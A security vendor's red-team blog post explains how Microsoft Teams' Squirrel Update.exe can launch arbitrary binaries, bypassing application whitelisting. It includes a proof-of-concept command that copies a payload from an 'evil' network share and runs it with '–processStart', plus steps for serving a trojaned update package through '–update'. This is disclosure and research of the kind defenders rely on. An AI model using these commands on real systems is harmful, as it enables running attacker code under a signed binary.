Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Executing Code Using Microsoft Teams Updater

Red Teamers like to hunt for new methods of code execution through “legitimate” channels, and I’m no exception to that rule. This time Microsoft Teams was my target. Teams was an interesting candidate since it uses modern technology called Electron. Electron is basically nodejs embedded in an executable. Let’s dive into the application whitelisting bypass using Update.exe that is shipped with Microsoft Teams.

First, Teams.exe is installed at the following location “%userprofile%\AppData\Local\Microsoft\Teams\” which is surprisingly odd. There is a long thread on why this is a bad idea:

The good news from a Red Team perspective is that we have full access as a user to the entire folder content. A typical Teams installation should contain the following files:

Teams dir

The Update.exe is actually the Squirrel Updater, which is open source.

Let’s focus on the main part of the application:

The main method is calling the following method:

int executeCommandLine(string[] args)

This method parses the command line arguments. The accepted arguments are listed in the switch case statement as following:

switch (opt.updateAction) {
    case UpdateAction.Install:
    case UpdateAction.Uninstall:
    case UpdateAction.Download:
    case UpdateAction.Update:
    case UpdateAction.CheckForUpdate:
    case UpdateAction.UpdateSelf:
    case UpdateAction.Shortcut:
    case UpdateAction.Deshortcut:
    case UpdateAction.ProcessStart:
    case UpdateAction.Releasify:

Right away, the ProcessStart looks interesting. If the code reaches this case, the following code is then executed:

ProcessStart(opt.processStart, opt.processStartArgs, opt.shouldWait);

Both arguments are passed to Update.exe using the following switch –processStart and --process-start-args. You can see if you list the Squirrel usage that, surprisingly, the help menu does not list these wonderful arguments, which is usually a good sign that we're into something.


The ProcessStart method is performing several checks, I’ll only cover the relevant checks.

var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));
var latestAppDir = releases
var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
    throw new ArgumentException();

The appDir variable contains the path to the Update.exe. The releases variable is resolving to the latest build folder location in the case, which is “current.” As stated in the source code, the if statement is checking for path canonicalization attack. Which mean that of –processStart is set to ..\..\..\..\..\..\windows\system32\cmd.exe will result in the following output:

targetExe.FullName will equal to C:\windows\system32\
And latestAppDir will equal to C:\Users\*\AppData\Microsoft\Teams\current\

Unfortunately, this will have killed our arbitrary file execution path. However, due to Microsoft’s decision, Teams was not installed into the typical “Program Files” folder as AppData is fully writable by the current user.

To be able to execute an arbitrary file we simply need to copy it to the C:\Users\*\AppData\Microsoft\Teams\current\ folder.

Then the code will eventually reach the fatal point as shown here:

Process.Start(new ProcessStartInfo(targetExe.FullName, arguments ?? "")
{ WorkingDirectory = Path.GetDirectoryName(targetExe.FullName) });

At this point, you executed your binary through a Microsoft Signed binary.

Simple of proof of concept:

Copy \\evil\payload.exe C:\users\*\AppData\Local\Microsoft\Teams\current\ && C:\users\*\AppData\Local\Microsoft\Teams\Update.exe –processStart payload.exe –process-start-args go.

In conclusion, Squirrel properly mitigated the arbitrary file execution. However, Microsoft decided to install Teams in a user-writable location allowing an attacker to defeat the security check that was put in place.

Remember the switch case? Let’s take a look at the UpdateAction.Update. The update action supports the –update argument, which is an URL to the update website.

The Update method is performing the following actions:

var updateInfo = await mgr.CheckForUpdate(intention: UpdaterIntention.Update, ignoreDeltaUpdates: ignoreDeltaUpdates, progress: x => Console.WriteLine(x / 3));
await mgr.DownloadReleases(updateInfo.ReleasesToApply, x => Console.WriteLine(33 + x / 3));
await mgr.ApplyReleases(updateInfo, x => Console.WriteLine(66 + x / 3));

The check for update is fetching a RELEASES file based on the URL specified. The RELEASES format is fairly simple: SHA1 package size. The expected file is a nupkg. Luckily Teams was kind enough to provide a sample of a nupkg package as part of the Teams installation.


Once the file is downloaded, the Squirrel process will be launched. By unzipping the Teams nupkg file, the location of Squirrel.exe is revealed: Teams-\lib\net45

Change the Squirrel.exe to your payload and make sure that is renamed Squirrel.exe. Zip the whole folder and update the RELEASES file with the proper hash and size.

In this case, the RELEASES file had the following structure:

53329bb727098e84ecf7d7f897de1bc501268cd1 Teams- 1185211

To be able to execute the package simply point to your URL in this case:

Update.exe –update

Enjoy your shell.

After I released the ProcessStart technique Reegun J (@reegun21) released the –update technique. Concurrent findings are common in security research, but since he published it before this blog post was released, I want to make sure he gets full credit for it.

Latest SpiderLabs Blogs

Important Security Defenses to Help Your CISO Sleep at Night

This is Part 13 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies

Trustwave SpiderLabs’ 2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies report details the security issues facing public sector security teams as...

Read More

How to Create the Asset Inventory You Probably Don't Have

This is Part 12 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More